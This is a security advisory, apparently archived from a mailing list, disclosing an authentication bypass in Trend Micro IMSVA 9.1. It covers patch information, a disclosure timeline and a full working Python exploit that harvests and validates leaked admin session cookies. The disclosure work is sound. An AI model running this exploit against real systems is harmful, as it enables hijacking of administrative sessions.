KL-001-2018-006 : Trend Micro IMSVA Management Portal Authentication Bypass

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



KL-001-2018-006 : Trend Micro IMSVA Management Portal Authentication Bypass

Title: Trend Micro IMSVA Management Portal Authentication Bypass
Advisory ID: KL-001-2018-006
Publication Date: 2018.02.08
Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2018-006.txt


1. Vulnerability Details

     Affected Vendor: Trend Micro
     Affected Product: InterScan Mail Security Virtual Apppliance
     Affected Version: 9.1.0.1600
     Platform: Embedded Linux
     CWE Classification: CWE-522: Insufficiently Protected Credentials, CWE-219: Sensitive Data Under Web Root
     Impact: Authentication Bypass
     Attack vector: HTTPS

2. Vulnerability Description

     Any unauthenticated user can bypass the authentication process.

3. Technical Description

     The web application is plugin-based and allows widgets to
     be loaded into the application. A plugin which is loaded by
     default stores a log file of events in a directory which can be
     accessed by unauthenticated users. Files within this directory
     (such as /widget/repository/log/diagnostic.log) which contain
     cookie values can then be read, parsed, and session information
     extracted. A functional exploit is shown below.

4. Mitigation and Remediation Recommendation

     Trend Micro has released a Critical Patch update to the
     affected versions for this vulnerability. The advisory and
     links to the patch(es) are available from the following URL:

     https://success.trendmicro.com/solution/1119277

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2017.08.11 - KoreLogic submits vulnerability details to Trend Micro.
     2017.08.11 - Trend Micro confirms receipt.
     2017.09.15 - KoreLogic asks for an update on the triage of the
                  reported issue.
     2017.09.15 - Trend Micro informs KoreLogic that the issue is in
                  remediation but there is no expected release date yet.
     2017.09.25 - 30 business days have elapsed since the vulnerability
                  was reported to Trend Micro.
     2017.10.06 - Trend Micro informs KoreLogic that the issue will not
                  be addressed before the 45 business-day deadline. They
                  ask for additional time for the details to remain
                  embargoed in order to complete QA on the proposed fix.
     2017.10.06 - KoreLogic agrees to extend the disclosure timeline.
     2017.10.17 - 45 business days have elapsed since the vulnerability
                  was reported to Trend Micro.
     2017.11.02 - Trend Micro notifies KoreLogic that the Critical Patch
                  for IMSVA 9.1 (Critical Patch 1682) has gone live,
                  but they are still working on the patch for IMSVA 9.0.
     2017.11.07 - 60 business days have elapsed since the vulnerability
                  was reported to Trend Micro.
     2017.12.21 - 90 business days have elapsed since the vulnerability
                  was reported to Trend Micro.
     2017.12.28 - Trend Micro notifies KoreLogic that the IMSVA 9.0
                  Critical Patch is being localized for foreign language
                  customers. Expected release date is late January 2018.
     2018.01.18 - Trend Micro notifies KoreLogic that the expected release
                  date for the IMSVA 9.0 Critical Patch and the advisory
                  is to be January 31, 2018.
     2018.01.23 - 110 business days have elapsed since the vulnerability
                  was reported to Trend Micro.
     2018.01.31 - Trend Micro releases the advisory associated with this
                  vulnerability and the related Critical Patches.
     2018.02.08 - KoreLogic public disclosure.

7. Proof of Concept

#!/usr/bin/python3


from argparse import ArgumentParser
from ssl import _create_unverified_context
from time import mktime
from urllib.request import HTTPSHandler, HTTPError, Request, urlopen, build_opener


banner = '''Trendmicro IMSVA 9.1.0.1600 Management Portal Authentication Bypass
{}'''.format('-'*67)


class Exploit:
    def __init__(self, args):
        self.target_host = args.host
        self.target_port = args.port
        self.list_all = args.ls
        self.sessions = []
        self.session_latest_time = None
        self.session_latest_id = None
        self.sessions_active = []
        return None

    def is_target(self):
        url_loginpage = Request('https://{}:{}/loginPage.imss'.format(self.target_host, self.target_port))
        url_loginjsp = Request('https://{}:{}/jsp/framework/login.jsp'.format(self.target_host, self.target_port))
        if urlopen(url_loginpage, context=_create_unverified_context()).getcode() == 200:
            try:
                urlopen(url_loginjsp, context=_create_unverified_context())
            except HTTPError as e:
                if e.code == 403:
                    return True
                else:
                    return False
        return False

    def get_sessions(self):
        url_vulnpage = Request('https://{}:{}/widget/repository/log/diagnostic.log'.format(self.target_host,
self.target_port))
        vuln_obj = urlopen(url_vulnpage, context=_create_unverified_context())
        if vuln_obj.getcode() == 200:
            vuln_pagedata = vuln_obj.read()
            for line in vuln_pagedata.decode('utf8').split('\n'):
                if 'product_auth' in line and 'JSEEEIONID' in line:
                    self.sessions.append((line.split(',')[0], line.split(',')[-1].split(' ')[1].split(':')[1]))
        else:
            return False
        return True

    def find_latest(self):
        for session in list(set(self.sessions)):
            year, month, day = session[0].split(' ')[0].split('-')
            hour, minute, second = session[0].split(' ')[1].split(':')
            session_time = mktime((int(year), int(month), int(day), int(hour), int(minute), int(second), 0, 0, 0))
            if self.session_latest_time is None:
                self.session_latest_time = session_time
            if session_time > self.session_latest_time:
                self.session_latest_time = session_time
                self.session_latest_id = session[1]
                if self.list_all:
                    if self.is_session_alive():
                        self.sessions_active.append((self.session_latest_time, self.session_latest_id))
        return True

    def is_session_alive(self):
        url_consolepage = Request('https://{}:{}/console.imss'.format(self.target_host, self.target_port))
        opener = build_opener(HTTPSHandler(context=_create_unverified_context()))
        opener.addheaders.append(('Cookie', 'JSESSIONID={}'.format(self.session_latest_id)))
        console_obj = opener.open(url_consolepage)
        if console_obj.getcode() == 200:
            console_pagedata = console_obj.read().decode('utf8')
            if 'parent.location.href="/timeout.imss"' in console_pagedata:
                return False
        else:
            return False
        return True

    def run(self):
        if self.is_target():
            if self.get_sessions():
                print('[-] Leaked {} sessions'.format(len(self.sessions)))
                self.find_latest()
                if self.list_all and self.sessions_active:
                    print('[+] Active sessions leaked.')
                    sessions = []
                    for entry in list(set(self.sessions_active)):
                        sessions.append(entry[1])
                    for session in list(set(sessions)):
                        print('Set-Cookie: JSESSIONID={}'.format(session))
                elif self.is_session_alive():
                    print('[+] Active session leaked.')
                    print('Set-Cookie: JSESSIONID={}'.format(self.session_latest_id))
                    return True
                else:
                    print('[-] {} sessions leaked but none are active.'.format(len(self.sessions)))
                    return False
            else:
                return False
        else:
            return False
        return False


if __name__ == '__main__':
    print(banner)
    arg_parser = ArgumentParser(add_help=False)
    arg_parser.add_argument('-H', '--help', action='help', help='Help')
    arg_parser.add_argument('-h', '--host', default=None, required=True, help='Target host')
    arg_parser.add_argument('-p', '--port', default=8445, type=int, help='Target port')
    arg_parser.add_argument('-l', '--ls', action='store_true', default=False, help='List all sessions (noisy)')

    args = arg_parser.parse_args()

    Exploit(args).run()


The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt

Attachment: signature.asc
Description: OpenPGP digital signature


[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux